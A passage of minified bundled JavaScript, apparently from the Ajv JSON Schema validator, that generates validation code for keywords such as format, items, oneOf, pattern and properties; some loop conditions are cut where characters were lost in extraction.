v=e.formats[i];if(!v){if(y=="ignore")return e.logger.warn('unknown format "'+i+'" ignored in schema at path "'+e.errSchemaPath+'"'),h&&(r+=" if (true) { "),r;if(_&&y.indexOf(i)>=0)return h&&(r+=" if (true) { "),r;throw new Error('unknown format "'+i+'" is used in schema at path "'+e.errSchemaPath+'"')}var P=typeof v=="object"&&!(v instanceof RegExp)&&v.validate,T=P&&v.type||"string";if(P){var x=v.async===!0;v=v.validate}if(T!=s)return h&&(r+=" if (true) { "),r;if(x){if(!e.async)throw new Error("async format in sync schema");var R="formats"+e.util.getProperty(i)+".validate";r+=" if (!(await "+R+"("+m+"))) { "}else{r+=" if (! ";var R="formats"+e.util.getProperty(i);P&&(R+=".validate"),typeof v=="function"?r+=" "+R+"("+m+") ":r+=" "+R+".test("+m+") ",r+=") { "}}var I=I||[];I.push(r),r="",e.createErrors!==!1?(r+=" { keyword: 'format' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(d)+" , params: { format: ",E?r+=""+c:r+=""+e.util.toQuotedString(i),r+=" } ",e.opts.messages!==!1&&(r+=` , message: 'should match format "`,E?r+="' + "+c+" + '":r+=""+e.util.escapeQuotes(i),r+=`"' `),e.opts.verbose&&(r+=" , schema: ",E?r+="validate.schema"+f:r+=""+e.util.toQuotedString(i),r+=" , parentSchema: validate.schema"+e.schemaPath+" , data: "+m+" "),r+=" } "):r+=" {} ";var $=r;return r=I.pop(),!e.compositeRule&&h?e.async?r+=" throw new ValidationError(["+$+"]); ":r+=" validate.errors = ["+$+"]; return false; ":r+=" var err = "+$+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",r+=" } ",h&&(r+=" else { "),r}});var li=B((eh,oi)=>{"use strict";oi.exports=function(e,t,s){var r=" ",n=e.level,l=e.dataLevel,i=e.schema[t],f=e.schemaPath+e.util.getProperty(t),d=e.errSchemaPath+"/"+t,h=!e.opts.allErrors,m="data"+(l||""),E="valid"+n,c="errs__"+n,y=e.util.copy(e);y.level++;var _="valid"+y.level,v=e.schema.then,P=e.schema.else,T=v!==void 0&&(e.opts.strictKeywords?typeof v=="object"&&Object.keys(v).length>0||v===!1:e.util.schemaHasRules(v,e.RULES.all)),x=P!==void 0&&(e.opts.strictKeywords?typeof P=="object"&&Object.keys(P).length>0||P===!1:e.util.schemaHasRules(P,e.RULES.all)),R=y.baseId;if(T||x){var I;y.createErrors=!1,y.schema=i,y.schemaPath=f,y.errSchemaPath=d,r+=" var "+c+" = errors; var "+E+" = true; ";var $=e.compositeRule;e.compositeRule=y.compositeRule=!0,r+=" "+e.validate(y)+" ",y.baseId=R,y.createErrors=!0,r+=" errors = "+c+"; if (vErrors !== null) { if ("+c+") vErrors.length = "+c+"; else vErrors = null; } ",e.compositeRule=y.compositeRule=$,T?(r+=" if ("+_+") { ",y.schema=e.schema.then,y.schemaPath=e.schemaPath+".then",y.errSchemaPath=e.errSchemaPath+"/then",r+=" "+e.validate(y)+" ",y.baseId=R,r+=" "+E+" = "+_+"; ",T&&x?(I="ifClause"+n,r+=" var "+I+" = 'then'; "):I="'then'",r+=" } ",x&&(r+=" else { ")):r+=" if (!"+_+") { ",x&&(y.schema=e.schema.else,y.schemaPath=e.schemaPath+".else",y.errSchemaPath=e.errSchemaPath+"/else",r+=" "+e.validate(y)+" ",y.baseId=R,r+=" "+E+" = "+_+"; ",T&&x?(I="ifClause"+n,r+=" var "+I+" = 'else'; "):I="'else'",r+=" } "),r+=" if (!"+E+") { var err = ",e.createErrors!==!1?(r+=" { keyword: 'if' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(d)+" , params: { failingKeyword: "+I+" } ",e.opts.messages!==!1&&(r+=` , message: 'should match "' + `+I+` + '" schema' `),e.opts.verbose&&(r+=" , schema: validate.schema"+f+" , parentSchema: validate.schema"+e.schemaPath+" , data: "+m+" "),r+=" } "):r+=" {} ",r+="; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",!e.compositeRule&&h&&(e.async?r+=" throw new ValidationError(vErrors); ":r+=" validate.errors = vErrors; return false; "),r+=" } ",h&&(r+=" else { ")}else h&&(r+=" if (true) { ");return r}});var ui=B((rh,ci)=>{"use strict";ci.exports=function(e,t,s){var r=" ",n=e.level,l=e.dataLevel,i=e.schema[t],f=e.schemaPath+e.util.getProperty(t),d=e.errSchemaPath+"/"+t,h=!e.opts.allErrors,m="data"+(l||""),E="valid"+n,c="errs__"+n,y=e.util.copy(e),_="";y.level++;var v="valid"+y.level,P="i"+n,T=y.dataLevel=e.dataLevel+1,x="data"+T,R=e.baseId;if(r+="var "+c+" = errors;var "+E+";",Array.isArray(i)){var I=e.schema.additionalItems;if(I===!1){r+=" "+E+" = "+m+".length <= "+i.length+"; ";var $=d;d=e.errSchemaPath+"/additionalItems",r+=" if (!"+E+") { ";var V=V||[];V.push(r),r="",e.createErrors!==!1?(r+=" { keyword: 'additionalItems' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(d)+" , params: { limit: "+i.length+" } ",e.opts.messages!==!1&&(r+=" , message: 'should NOT have more than "+i.length+" items' "),e.opts.verbose&&(r+=" , schema: false , parentSchema: validate.schema"+e.schemaPath+" , data: "+m+" "),r+=" } "):r+=" {} ";var M=r;r=V.pop(),!e.compositeRule&&h?e.async?r+=" throw new ValidationError(["+M+"]); ":r+=" validate.errors = ["+M+"]; return false; ":r+=" var err = "+M+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",r+=" } ",d=$,h&&(_+="}",r+=" else { ")}var A=i;if(A){for(var q,F=-1,L=A.length-1;F0||q===!1:e.util.schemaHasRules(q,e.RULES.all)){r+=" "+v+" = true; if ("+m+".length > "+F+") { ";var O=m+"["+F+"]";y.schema=q,y.schemaPath=f+"["+F+"]",y.errSchemaPath=d+"/"+F,y.errorPath=e.util.getPathExpr(e.errorPath,F,e.opts.jsonPointers,!0),y.dataPathArr[T]=F;var C=e.validate(y);y.baseId=R,e.util.varOccurences(C,x)<2?r+=" "+e.util.varReplace(C,x,O)+" ":r+=" var "+x+" = "+O+"; "+C+" ",r+=" } ",h&&(r+=" if ("+v+") { ",_+="}")}}if(typeof I=="object"&&(e.opts.strictKeywords?typeof I=="object"&&Object.keys(I).length>0||I===!1:e.util.schemaHasRules(I,e.RULES.all))){y.schema=I,y.schemaPath=e.schemaPath+".additionalItems",y.errSchemaPath=e.errSchemaPath+"/additionalItems",r+=" "+v+" = true; if ("+m+".length > "+i.length+") { for (var "+P+" = "+i.length+"; "+P+" < "+m+".length; "+P+"++) { ",y.errorPath=e.util.getPathExpr(e.errorPath,P,e.opts.jsonPointers,!0);var O=m+"["+P+"]";y.dataPathArr[T]=P;var C=e.validate(y);y.baseId=R,e.util.varOccurences(C,x)<2?r+=" "+e.util.varReplace(C,x,O)+" ":r+=" var "+x+" = "+O+"; "+C+" ",h&&(r+=" if (!"+v+") break; "),r+=" } } ",h&&(r+=" if ("+v+") { ",_+="}")}}else if(e.opts.strictKeywords?typeof i=="object"&&Object.keys(i).length>0||i===!1:e.util.schemaHasRules(i,e.RULES.all)){y.schema=i,y.schemaPath=f,y.errSchemaPath=d,r+=" for (var "+P+" = 0; "+P+" < "+m+".length; "+P+"++) { ",y.errorPath=e.util.getPathExpr(e.errorPath,P,e.opts.jsonPointers,!0);var O=m+"["+P+"]";y.dataPathArr[T]=P;var C=e.validate(y);y.baseId=R,e.util.varOccurences(C,x)<2?r+=" "+e.util.varReplace(C,x,O)+" ":r+=" var "+x+" = "+O+"; "+C+" ",h&&(r+=" if (!"+v+") break; "),r+=" }"}return h&&(r+=" "+_+" if ("+c+" == errors) {"),r}});var es=B((th,di)=>{"use strict";di.exports=function(e,t,s){var r=" ",n=e.level,l=e.dataLevel,i=e.schema[t],f=e.schemaPath+e.util.getProperty(t),d=e.errSchemaPath+"/"+t,h=!e.opts.allErrors,R,m="data"+(l||""),E=e.opts.$data&&i&&i.$data,c;E?(r+=" var schema"+n+" = "+e.util.getData(i.$data,l,e.dataPathArr)+"; ",c="schema"+n):c=i;var y=t=="maximum",_=y?"exclusiveMaximum":"exclusiveMinimum",v=e.schema[_],P=e.opts.$data&&v&&v.$data,T=y?"<":">",x=y?">":"<",R=void 0;if(!(E||typeof i=="number"||i===void 0))throw new Error(t+" must be number");if(!(P||v===void 0||typeof v=="number"||typeof v=="boolean"))throw new Error(_+" must be number or boolean");if(P){var I=e.util.getData(v.$data,l,e.dataPathArr),$="exclusive"+n,V="exclType"+n,M="exclIsNumber"+n,A="op"+n,q="' + "+A+" + '";r+=" var schemaExcl"+n+" = "+I+"; ",I="schemaExcl"+n,r+=" var "+$+"; var "+V+" = typeof "+I+"; if ("+V+" != 'boolean' && "+V+" != 'undefined' && "+V+" != 'number') { ";var R=_,F=F||[];F.push(r),r="",e.createErrors!==!1?(r+=" { keyword: '"+(R||"_exclusiveLimit")+"' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(d)+" , params: {} ",e.opts.messages!==!1&&(r+=" , message: '"+_+" should be boolean' "),e.opts.verbose&&(r+=" , schema: validate.schema"+f+" , parentSchema: validate.schema"+e.schemaPath+" , data: "+m+" "),r+=" } "):r+=" {} ";var L=r;r=F.pop(),!e.compositeRule&&h?e.async?r+=" throw new ValidationError(["+L+"]); ":r+=" validate.errors = ["+L+"]; return false; ":r+=" var err = "+L+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",r+=" } else if ( ",E&&(r+=" ("+c+" !== undefined && typeof "+c+" != 'number') || "),r+=" "+V+" == 'number' ? ( ("+$+" = "+c+" === undefined || "+I+" "+T+"= "+c+") ? "+m+" "+x+"= "+I+" : "+m+" "+x+" "+c+" ) : ( ("+$+" = "+I+" === true) ? "+m+" "+x+"= "+c+" : "+m+" "+x+" "+c+" ) || "+m+" !== "+m+") { var op"+n+" = "+$+" ? '"+T+"' : '"+T+"='; ",i===void 0&&(R=_,d=e.errSchemaPath+"/"+_,c=I,E=P)}else{var M=typeof v=="number",q=T;if(M&&E){var A="'"+q+"'";r+=" if ( ",E&&(r+=" ("+c+" !== undefined && typeof "+c+" != 'number') || "),r+=" ( "+c+" === undefined || "+v+" "+T+"= "+c+" ? "+m+" "+x+"= "+v+" : "+m+" "+x+" "+c+" ) || "+m+" !== "+m+") { "}else{M&&i===void 0?($=!0,R=_,d=e.errSchemaPath+"/"+_,c=v,x+="="):(M&&(c=Math[y?"min":"max"](v,i)),v===(M?c:!0)?($=!0,R=_,d=e.errSchemaPath+"/"+_,x+="="):($=!1,q+="="));var A="'"+q+"'";r+=" if ( ",E&&(r+=" ("+c+" !== undefined && typeof "+c+" != 'number') || "),r+=" "+m+" "+x+" "+c+" || "+m+" !== "+m+") { "}}R=R||t;var F=F||[];F.push(r),r="",e.createErrors!==!1?(r+=" { keyword: '"+(R||"_limit")+"' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(d)+" , params: { comparison: "+A+", limit: "+c+", exclusive: "+$+" } ",e.opts.messages!==!1&&(r+=" , message: 'should be "+q+" ",E?r+="' + "+c:r+=""+c+"'"),e.opts.verbose&&(r+=" , schema: ",E?r+="validate.schema"+f:r+=""+i,r+=" , parentSchema: validate.schema"+e.schemaPath+" , data: "+m+" "),r+=" } "):r+=" {} ";var L=r;return r=F.pop(),!e.compositeRule&&h?e.async?r+=" throw new ValidationError(["+L+"]); ":r+=" validate.errors = ["+L+"]; return false; ":r+=" var err = "+L+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",r+=" } ",h&&(r+=" else { "),r}});var rs=B((ah,fi)=>{"use strict";fi.exports=function(e,t,s){var r=" ",n=e.level,l=e.dataLevel,i=e.schema[t],f=e.schemaPath+e.util.getProperty(t),d=e.errSchemaPath+"/"+t,h=!e.opts.allErrors,_,m="data"+(l||""),E=e.opts.$data&&i&&i.$data,c;if(E?(r+=" var schema"+n+" = "+e.util.getData(i.$data,l,e.dataPathArr)+"; ",c="schema"+n):c=i,!(E||typeof i=="number"))throw new Error(t+" must be number");var y=t=="maxItems"?">":"<";r+="if ( ",E&&(r+=" ("+c+" !== undefined && typeof "+c+" != 'number') || "),r+=" "+m+".length "+y+" "+c+") { ";var _=t,v=v||[];v.push(r),r="",e.createErrors!==!1?(r+=" { keyword: '"+(_||"_limitItems")+"' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(d)+" , params: { limit: "+c+" } ",e.opts.messages!==!1&&(r+=" , message: 'should NOT have ",t=="maxItems"?r+="more":r+="fewer",r+=" than ",E?r+="' + "+c+" + '":r+=""+i,r+=" items' "),e.opts.verbose&&(r+=" , schema: ",E?r+="validate.schema"+f:r+=""+i,r+=" , parentSchema: validate.schema"+e.schemaPath+" , data: "+m+" "),r+=" } "):r+=" {} ";var P=r;return r=v.pop(),!e.compositeRule&&h?e.async?r+=" throw new ValidationError(["+P+"]); ":r+=" validate.errors = ["+P+"]; return false; ":r+=" var err = "+P+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",r+="} ",h&&(r+=" else { "),r}});var ts=B((sh,hi)=>{"use strict";hi.exports=function(e,t,s){var r=" ",n=e.level,l=e.dataLevel,i=e.schema[t],f=e.schemaPath+e.util.getProperty(t),d=e.errSchemaPath+"/"+t,h=!e.opts.allErrors,_,m="data"+(l||""),E=e.opts.$data&&i&&i.$data,c;if(E?(r+=" var schema"+n+" = "+e.util.getData(i.$data,l,e.dataPathArr)+"; ",c="schema"+n):c=i,!(E||typeof i=="number"))throw new Error(t+" must be number");var y=t=="maxLength"?">":"<";r+="if ( ",E&&(r+=" ("+c+" !== undefined && typeof "+c+" != 'number') || "),e.opts.unicode===!1?r+=" "+m+".length ":r+=" ucs2length("+m+") ",r+=" "+y+" "+c+") { ";var _=t,v=v||[];v.push(r),r="",e.createErrors!==!1?(r+=" { keyword: '"+(_||"_limitLength")+"' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(d)+" , params: { limit: "+c+" } ",e.opts.messages!==!1&&(r+=" , message: 'should NOT be ",t=="maxLength"?r+="longer":r+="shorter",r+=" than ",E?r+="' + "+c+" + '":r+=""+i,r+=" characters' "),e.opts.verbose&&(r+=" , schema: ",E?r+="validate.schema"+f:r+=""+i,r+=" , parentSchema: validate.schema"+e.schemaPath+" , data: "+m+" "),r+=" } "):r+=" {} ";var P=r;return r=v.pop(),!e.compositeRule&&h?e.async?r+=" throw new ValidationError(["+P+"]); ":r+=" validate.errors = ["+P+"]; return false; ":r+=" var err = "+P+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",r+="} ",h&&(r+=" else { "),r}});var as=B((nh,pi)=>{"use strict";pi.exports=function(e,t,s){var r=" ",n=e.level,l=e.dataLevel,i=e.schema[t],f=e.schemaPath+e.util.getProperty(t),d=e.errSchemaPath+"/"+t,h=!e.opts.allErrors,_,m="data"+(l||""),E=e.opts.$data&&i&&i.$data,c;if(E?(r+=" var schema"+n+" = "+e.util.getData(i.$data,l,e.dataPathArr)+"; ",c="schema"+n):c=i,!(E||typeof i=="number"))throw new Error(t+" must be number");var y=t=="maxProperties"?">":"<";r+="if ( ",E&&(r+=" ("+c+" !== undefined && typeof "+c+" != 'number') || "),r+=" Object.keys("+m+").length "+y+" "+c+") { ";var _=t,v=v||[];v.push(r),r="",e.createErrors!==!1?(r+=" { keyword: '"+(_||"_limitProperties")+"' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(d)+" , params: { limit: "+c+" } ",e.opts.messages!==!1&&(r+=" , message: 'should NOT have ",t=="maxProperties"?r+="more":r+="fewer",r+=" than ",E?r+="' + "+c+" + '":r+=""+i,r+=" properties' "),e.opts.verbose&&(r+=" , schema: ",E?r+="validate.schema"+f:r+=""+i,r+=" , parentSchema: validate.schema"+e.schemaPath+" , data: "+m+" "),r+=" } "):r+=" {} ";var P=r;return r=v.pop(),!e.compositeRule&&h?e.async?r+=" throw new ValidationError(["+P+"]); ":r+=" validate.errors = ["+P+"]; return false; ":r+=" var err = "+P+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",r+="} ",h&&(r+=" else { "),r}});var vi=B((ih,mi)=>{"use strict";mi.exports=function(e,t,s){var r=" ",n=e.level,l=e.dataLevel,i=e.schema[t],f=e.schemaPath+e.util.getProperty(t),d=e.errSchemaPath+"/"+t,h=!e.opts.allErrors,m="data"+(l||""),E=e.opts.$data&&i&&i.$data,c;if(E?(r+=" var schema"+n+" = "+e.util.getData(i.$data,l,e.dataPathArr)+"; ",c="schema"+n):c=i,!(E||typeof i=="number"))throw new Error(t+" must be number");r+="var division"+n+";if (",E&&(r+=" "+c+" !== undefined && ( typeof "+c+" != 'number' || "),r+=" (division"+n+" = "+m+" / "+c+", ",e.opts.multipleOfPrecision?r+=" Math.abs(Math.round(division"+n+") - division"+n+") > 1e-"+e.opts.multipleOfPrecision+" ":r+=" division"+n+" !== parseInt(division"+n+") ",r+=" ) ",E&&(r+=" ) "),r+=" ) { ";var y=y||[];y.push(r),r="",e.createErrors!==!1?(r+=" { keyword: 'multipleOf' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(d)+" , params: { multipleOf: "+c+" } ",e.opts.messages!==!1&&(r+=" , message: 'should be multiple of ",E?r+="' + "+c:r+=""+c+"'"),e.opts.verbose&&(r+=" , schema: ",E?r+="validate.schema"+f:r+=""+i,r+=" , parentSchema: validate.schema"+e.schemaPath+" , data: "+m+" "),r+=" } "):r+=" {} ";var _=r;return r=y.pop(),!e.compositeRule&&h?e.async?r+=" throw new ValidationError(["+_+"]); ":r+=" validate.errors = ["+_+"]; return false; ":r+=" var err = "+_+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",r+="} ",h&&(r+=" else { "),r}});var yi=B((oh,gi)=>{"use strict";gi.exports=function(e,t,s){var r=" ",n=e.level,l=e.dataLevel,i=e.schema[t],f=e.schemaPath+e.util.getProperty(t),d=e.errSchemaPath+"/"+t,h=!e.opts.allErrors,m="data"+(l||""),E="errs__"+n,c=e.util.copy(e);c.level++;var y="valid"+c.level;if(e.opts.strictKeywords?typeof i=="object"&&Object.keys(i).length>0||i===!1:e.util.schemaHasRules(i,e.RULES.all)){c.schema=i,c.schemaPath=f,c.errSchemaPath=d,r+=" var "+E+" = errors; ";var _=e.compositeRule;e.compositeRule=c.compositeRule=!0,c.createErrors=!1;var v;c.opts.allErrors&&(v=c.opts.allErrors,c.opts.allErrors=!1),r+=" "+e.validate(c)+" ",c.createErrors=!0,v&&(c.opts.allErrors=v),e.compositeRule=c.compositeRule=_,r+=" if ("+y+") { ";var P=P||[];P.push(r),r="",e.createErrors!==!1?(r+=" { keyword: 'not' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(d)+" , params: {} ",e.opts.messages!==!1&&(r+=" , message: 'should NOT be valid' "),e.opts.verbose&&(r+=" , schema: validate.schema"+f+" , parentSchema: validate.schema"+e.schemaPath+" , data: "+m+" "),r+=" } "):r+=" {} ";var T=r;r=P.pop(),!e.compositeRule&&h?e.async?r+=" throw new ValidationError(["+T+"]); ":r+=" validate.errors = ["+T+"]; return false; ":r+=" var err = "+T+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",r+=" } else { errors = "+E+"; if (vErrors !== null) { if ("+E+") vErrors.length = "+E+"; else vErrors = null; } ",e.opts.allErrors&&(r+=" } ")}else r+=" var err = ",e.createErrors!==!1?(r+=" { keyword: 'not' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(d)+" , params: {} ",e.opts.messages!==!1&&(r+=" , message: 'should NOT be valid' "),e.opts.verbose&&(r+=" , schema: validate.schema"+f+" , parentSchema: validate.schema"+e.schemaPath+" , data: "+m+" "),r+=" } "):r+=" {} ",r+="; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",h&&(r+=" if (false) { ");return r}});var Ei=B((lh,_i)=>{"use strict";_i.exports=function(e,t,s){var r=" ",n=e.level,l=e.dataLevel,i=e.schema[t],f=e.schemaPath+e.util.getProperty(t),d=e.errSchemaPath+"/"+t,h=!e.opts.allErrors,m="data"+(l||""),E="valid"+n,c="errs__"+n,y=e.util.copy(e),_="";y.level++;var v="valid"+y.level,P=y.baseId,T="prevValid"+n,x="passingSchemas"+n;r+="var "+c+" = errors , "+T+" = false , "+E+" = false , "+x+" = null; ";var R=e.compositeRule;e.compositeRule=y.compositeRule=!0;var I=i;if(I)for(var $,V=-1,M=I.length-1;V0||$===!1:e.util.schemaHasRules($,e.RULES.all))?(y.schema=$,y.schemaPath=f+"["+V+"]",y.errSchemaPath=d+"/"+V,r+=" "+e.validate(y)+" ",y.baseId=P):r+=" var "+v+" = true; ",V&&(r+=" if ("+v+" && "+T+") { "+E+" = false; "+x+" = ["+x+", "+V+"]; } else { ",_+="}"),r+=" if ("+v+") { "+E+" = "+T+" = true; "+x+" = "+V+"; }";return e.compositeRule=y.compositeRule=R,r+=""+_+"if (!"+E+") { var err = ",e.createErrors!==!1?(r+=" { keyword: 'oneOf' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(d)+" , params: { passingSchemas: "+x+" } ",e.opts.messages!==!1&&(r+=" , message: 'should match exactly one schema in oneOf' "),e.opts.verbose&&(r+=" , schema: validate.schema"+f+" , parentSchema: validate.schema"+e.schemaPath+" , data: "+m+" "),r+=" } "):r+=" {} ",r+="; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",!e.compositeRule&&h&&(e.async?r+=" throw new ValidationError(vErrors); ":r+=" validate.errors = vErrors; return false; "),r+="} else { errors = "+c+"; if (vErrors !== null) { if ("+c+") vErrors.length = "+c+"; else vErrors = null; }",e.opts.allErrors&&(r+=" } "),r}});var bi=B((ch,Si)=>{"use strict";Si.exports=function(e,t,s){var r=" ",n=e.level,l=e.dataLevel,i=e.schema[t],f=e.schemaPath+e.util.getProperty(t),d=e.errSchemaPath+"/"+t,h=!e.opts.allErrors,m="data"+(l||""),E=e.opts.$data&&i&&i.$data,c;E?(r+=" var schema"+n+" = "+e.util.getData(i.$data,l,e.dataPathArr)+"; ",c="schema"+n):c=i;var y=E?"(new RegExp("+c+"))":e.usePattern(i);r+="if ( ",E&&(r+=" ("+c+" !== undefined && typeof "+c+" != 'string') || "),r+=" !"+y+".test("+m+") ) { ";var _=_||[];_.push(r),r="",e.createErrors!==!1?(r+=" { keyword: 'pattern' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(d)+" , params: { pattern: ",E?r+=""+c:r+=""+e.util.toQuotedString(i),r+=" } ",e.opts.messages!==!1&&(r+=` , message: 'should match pattern "`,E?r+="' + "+c+" + '":r+=""+e.util.escapeQuotes(i),r+=`"' `),e.opts.verbose&&(r+=" , schema: ",E?r+="validate.schema"+f:r+=""+e.util.toQuotedString(i),r+=" , parentSchema: validate.schema"+e.schemaPath+" , data: "+m+" "),r+=" } "):r+=" {} ";var v=r;return r=_.pop(),!e.compositeRule&&h?e.async?r+=" throw new ValidationError(["+v+"]); ":r+=" validate.errors = ["+v+"]; return false; ":r+=" var err = "+v+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",r+="} ",h&&(r+=" else { "),r}});var xi=B((uh,Pi)=>{"use strict";Pi.exports=function(e,t,s){var r=" ",n=e.level,l=e.dataLevel,i=e.schema[t],f=e.schemaPath+e.util.getProperty(t),d=e.errSchemaPath+"/"+t,h=!e.opts.allErrors,m="data"+(l||""),E="errs__"+n,c=e.util.copy(e),y="";c.level++;var _="valid"+c.level,v="key"+n,P="idx"+n,T=c.dataLevel=e.dataLevel+1,x="data"+T,R="dataProperties"+n,I=Object.keys(i||{}).filter(X),$=e.schema.patternProperties||{},V=Object.keys($).filter(X),M=e.schema.additionalProperties,A=I.length||V.length,q=M===!1,F=typeof M=="object"&&Object.keys(M).length,L=e.opts.removeAdditional,O=q||F||L,C=e.opts.ownProperties,j=e.baseId,ie=e.schema.required;if(ie&&!(e.opts.$data&&ie.$data)&&ie.length8)r+=" || validate.schema"+f+".hasOwnProperty("+v+") ";else{var G=I;if(G)for(var H,fe=-1,Pe=G.length-1;fe0||Se===!1:e.util.schemaHasRules(Se,e.RULES.all)){var je=e.util.getProperty(H),xe=m+je,$e=pr&&Se.default!==void 0;c.schema=Se,c.schemaPath=f+je,c.errSchemaPath=d+"/"+e.util.escapeFragment(H),c.errorPath=e.util.getPath(e.errorPath,H,e.opts.jsonPointers),c.dataPathArr[T]=e.util.toQuotedString(H);var se=e.validate(c);if(c.baseId=j,e.util.varOccurences(se,x)<2){se=e.util.varReplace(se,x,xe);var Ie=xe}else{var Ie=x;r+=" var "+x+" = "+xe+"; "}if($e)r+=" "+se+" ";else{if(J&&J[H]){r+=" if ( "+Ie+" === undefined ",C&&(r+=" || ! Object.prototype.hasOwnProperty.call("+m+", '"+e.util.escapeQuotes(H)+"') "),r+=") { "+_+" = false; ";var Oe=e.errorPath,sr=d,Je=e.util.escapeQuotes(H);e.opts._errorDataPathProperty&&(e.errorPath=e.util.getPath(Oe,H,e.opts.jsonPointers)),d=e.errSchemaPath+"/required";var ge=ge||[];ge.push(r),r="",e.createErrors!==!1?(r+=" { keyword: 'required' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(d)+" , params: { missingProperty: '"+Je+"' } ",e.opts.messages!==!1&&(r+=" , message: '",e.opts._errorDataPathProperty?r+="is a required property":r+="should have required property \\'"+Je+"\\'",r+="' "),e.opts.verbose&&(r+=" , schema: validate.schema"+f+" , parentSchema: validate.schema"+e.schemaPath+" , data: "+m+" "),r+=" } "):r+=" {} ";var he=r;r=ge.pop(),!e.compositeRule&&h?e.async?r+=" throw new ValidationError(["+he+"]); ":r+=" validate.errors = ["+he+"]; return false; ":r+=" var err = "+he+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",d=sr,e.errorPath=Oe,r+=" } else { "}else h?(r+=" if ( "+Ie+" === undefined ",C&&(r+=" || ! Object.prototype.hasOwnProperty.call("+m+", '"+e.util.escapeQuotes(H)+"') "),r+=") { "+_+" = true; } else { "):(r+=" if ("+Ie+" !== undefined ",C&&(r+=" && Object.prototype.hasOwnProperty.call("+m+", '"+e.util.escapeQuotes(H)+"') "),r+=" ) { ");r+=" "+se+" } "}}h&&(r+=" if ("+_+") { ",y+="}")}}if(V.length){var ke=V;if(ke)for(var te,Rt=-1,ma=ke.length-1;Rt0||Se===!1:e.util.schemaHasRules(Se,e.RULES.all)){c.schema=Se,c.schemaPath=e.schemaPath+".patternProperties"+e.util.getProperty(te),c.errSchemaPath=e.errSchemaPath+"/patternProperties/"+e.util.escapeFragment(te),C?r+=" "+R+" = "+R+" || Object.keys("+m+"); for (var "+P+"=0; "+P+"<"+R+".length; "+P+"++) { var "+v+" = "+R+"["+P+"]; ":r+=" for (var "+v+" in "+m+") { ",r+=" if ("+e.usePattern(te)+".test("+v+")) { ",c.errorPath=e.util.getPathExpr(e.errorPath,v,e.opts.jsonPointers);var xe=m+"["+v+"]";c.dataPathArr[T]=v;var se=e.validate(c);c.baseId=j,e.util.varOccurences(se,x)<2?r+=" "+e.util.varReplace(se,x,xe)+" ":r+=" var "+x+" = "+xe+"; "+se+" ",h&&(r+=" if (!"+_+") break; "),r+=" } ",h&&(r+=" else "+_+" = true; "),r+=" } ",h&&(r+=" if ("+_+") { ",y+="}")}}}return h&&(r+=" "+y+" if ("+E+" == errors) {"),r}});var Ri=B((dh,wi)=>{"use strict";wi.exports=function(e,t,s){var r=" ",n=e.level,l=e.dataLevel,i=e.schema[t],f=e.schemaPath+e.util.getProperty(t),d=e.errSchemaPath+"/"+t,h=!e.opts.allErrors,m="data"+(l||""),E="errs__"+n,c=e.util.copy(e),y="";c.level++;var _="valid"+c.level;if(r+="var "+E+" = errors;",e.opts.strictKeywords?typeof i=="object"&&Object.keys(i).length>0||i===!1:e.util.schemaHasRules(i,e.RULES.all)){c.schema=i,c.schemaPath=f,c.errSchemaPath=d;var v="key"+n,P="idx"+n,T="i"+n,x="' + "+v+" + '",R=c.dataLevel=e.dataLevel+1,I="data"+R,$="dataProperties"+n,V=e.opts.ownProperties,M=e.baseId;V&&(r+=" var "+$+" = undefined; "),V?r+=" "+$+" = "+$+" || Object.keys("+m+"); for (var "+P+"=0; "+P+"<"+$+".length; "+P+"++) { var "+v+" = "+$+"["+P+"]; ":r+=" for (var "+v+" in "+m+") { ",r+=" var startErrs"+n+" = errors; ";var A=v,q=e.compositeRule;e.compositeRule=c.compositeRule=!0;var F=e.validate(c);c.baseId=M,e.util.varOccurences(F,I)<2?r+=" "+e.util.varReplace(F,I,A)+" ":r+=" var "+I+" = "+A+"; "+F+" ",e.compositeRule=c.compositeRule=q,r+=" if (!"+_+") { for (var "+T+"=startErrs"+n+"; "+T+"{"use strict";Ti.exports=function(e,t,s){var r=" ",n=e.level,l=e.dataLevel,i=e.schema[t],f=e.schemaPath+e.util.getProperty(t),d=e.errSchemaPath+"/"+t,h=!e.opts.allErrors,m="data"+(l||""),E="valid"+n,c=e.opts.$data&&i&&i.$data,y;c?(r+=" var schema"+n+" = "+e.util.getData(i.$data,l,e.dataPathArr)+"; ",y="schema"+n):y=i;var _="schema"+n;if(!c)if(i.length0||I===!1:e.util.schemaHasRules(I,e.RULES.all))||(v[v.length]=T)}}else var v=i;if(c||v.length){var 